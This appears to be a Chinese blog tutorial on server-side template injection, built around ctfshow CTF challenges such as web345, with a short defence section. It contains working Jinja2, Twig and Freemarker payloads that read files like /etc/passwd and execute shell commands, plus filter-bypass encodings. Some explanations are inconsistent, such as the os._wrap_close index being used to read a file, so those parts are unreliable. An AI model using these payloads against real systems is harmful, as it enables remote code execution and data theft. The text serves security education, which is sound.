ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

SSTI模板注入攻击原理与CTF实战解析

SSTI模板注入攻击原理与CTF实战解析

1. SSTI模板注入攻击概述

SSTI(Server-Side Template Injection)是一种常见的Web安全漏洞,它允许攻击者通过模板引擎的解析机制注入恶意代码。在CTF比赛中,这类题目频繁出现,特别是ctfshow平台的Web入门系列。模板注入与常规的SQL注入、XSS攻击不同,它针对的是服务器端的模板渲染过程。

模板引擎原本是为了方便开发者动态生成HTML而设计的,比如Python的Jinja2、PHP的Smarty、Java的Freemarker等。当用户输入被直接拼接到模板中时,如果缺乏适当的过滤和转义,就会产生注入漏洞。攻击者可以通过精心构造的输入,突破模板的限制,执行任意代码或读取敏感数据。

注意:不同编程语言的模板引擎语法差异很大,但漏洞原理相通。在ctfshow的题目中,Python的Jinja2和PHP的Twig出现频率最高。

2. SSTI漏洞检测与确认

2.1 基础检测方法

最简单的检测方式是插入模板表达式语法。对于疑似Jinja2引擎的环境,可以尝试输入{{7*7}},如果页面返回49,就存在注入漏洞。其他常见测试payload:

  • {{7*'7'}}→ 7777777(Python)
  • ${7*7}→ 49(某些Java模板)
  • <%= 7*7 %>→ 49(ERB模板)

如果页面返回错误信息,要特别关注堆栈跟踪,其中往往包含使用的模板引擎类型和版本信息。ctfshow的题目通常会给出明确提示,但实际比赛中需要自己判断。

2.2 上下文识别技巧

模板注入分为两类情况:

  1. 直接文本上下文:用户输入直接作为模板内容解析
    template = f"Hello, {user_input}" # 危险!
  2. 代码上下文:用户输入作为模板变量值
    template = "Hello, {{name}}" render(name=user_input) # 相对安全

在ctfshow的题目中,第一种情况更为常见。可以通过输入特殊字符(如${{<%[%'"}}%\)观察报错行为来判断上下文类型。

3. 利用链构造与Payload设计

3.1 Python(Jinja2)利用链

Jinja2是ctfshow题目中最常出现的模板引擎。其利用链通常基于Python的对象继承关系:

{{ ''.__class__.__mro__[1].__subclasses__() }}

这个payload展示了经典的对象链调用:

  1. 空字符串的__class__获取其类型(str)
  2. __mro__获取方法解析顺序(tuple)
  3. 索引1获取object基类
  4. __subclasses__()列出所有子类

从返回的子类列表中,我们需要寻找危险的类,比如:

  • os._wrap_close:可用于执行命令
  • subprocess.Popen:执行系统命令
  • warnings.catch_warnings:包含文件操作

3.2 常用Payload集合

根据ctfshow题目特点,整理这些高频有效payload:

信息收集:

{{ config }} # 查看Flask配置 {{ self.__dict__ }} # 查看当前模板对象

文件读取:

{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}

命令执行:

{{ ''.__class__.__mro__[1].__subclasses__()[213]('ls',shell=True,stdout=-1).communicate()[0] }}

绕过过滤:当关键字被过滤时,可以使用这些技巧:

  • 字符串拼接:'__cl'+'ass__'
  • 十六进制编码:'\x5f\x5fclass\x5f\x5f'
  • 属性访问替代:getattr('', '__class__')

4. ctfshow真题实战解析

4.1 Web入门题SSTI典型结构

ctfshow的SSTI题目通常采用Flask框架,核心漏洞代码类似:

@app.route('/vuln') def vuln(): name = request.args.get('name', 'guest') template = f"<h1>Hello {name}!</h1>" return render_template_string(template)

解题步骤:

  1. 测试基础payload确认漏洞
  2. 枚举可用子类寻找利用点
  3. 构造最终payload获取flag

4.2 题目Web345详解

以ctfshow的web345为例,题目给出了一个简单的欢迎页面。通过测试发现{{7*7}}返回49,确认SSTI。

使用子类枚举payload后,发现第40号是<class 'os._wrap_close'>。构造文件读取:

{{ ''.__class__.__mro__[1].__subclasses__()[40]('/flag').read() }}

但题目设置了过滤,需要绕过:

  1. 过滤了class→ 使用__class__替代
  2. 过滤了[]→ 使用__getitem__方法
  3. 过滤了os→ 通过数字索引引用

最终payload:

{{ ''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/flag').read() }}

5. 防御措施与安全建议

5.1 开发者防护方案

对于使用模板引擎的开发人员:

  1. 永远不要直接拼接用户输入到模板
  2. 使用安全的模板变量传递方式:
    # 安全做法 return render_template('index.html', name=user_input)
  3. 启用模板引擎的沙箱模式(如果有)
  4. 对动态内容严格过滤,特别是__、{{等特殊符号

5.2 CTF选手注意事项

在ctfshow等平台解题时:

  1. 先确定模板引擎类型(通过错误信息或特征测试)
  2. 准备不同引擎的payload字典
  3. 注意题目是否设置了特殊过滤规则
  4. 善用Python的dir()函数探索对象属性
  5. 当直接执行命令失败时,尝试先读取源码

经验:遇到复杂过滤时,可以先用print(dir())查看可用对象,往往能发现意想不到的利用链。

6. 扩展知识与资源

6.1 其他模板引擎payload

除了Jinja2,ctf中常见的模板引擎利用方式:

Twig(PHP):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

Freemarker(Java):

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

6.2 自动化工具推荐

虽然手动构造payload是基本功,但也可以使用这些工具提高效率:

  • tplmap:自动检测和利用SSTI
  • Jinja2调试器:交互式测试模板渲染
  • Burp Suite插件:如"SSTI Scanner"

不过ctfshow的题目通常需要定制化payload,工具往往只能作为辅助。真正理解原理才能应对各种变形题目。

返回列表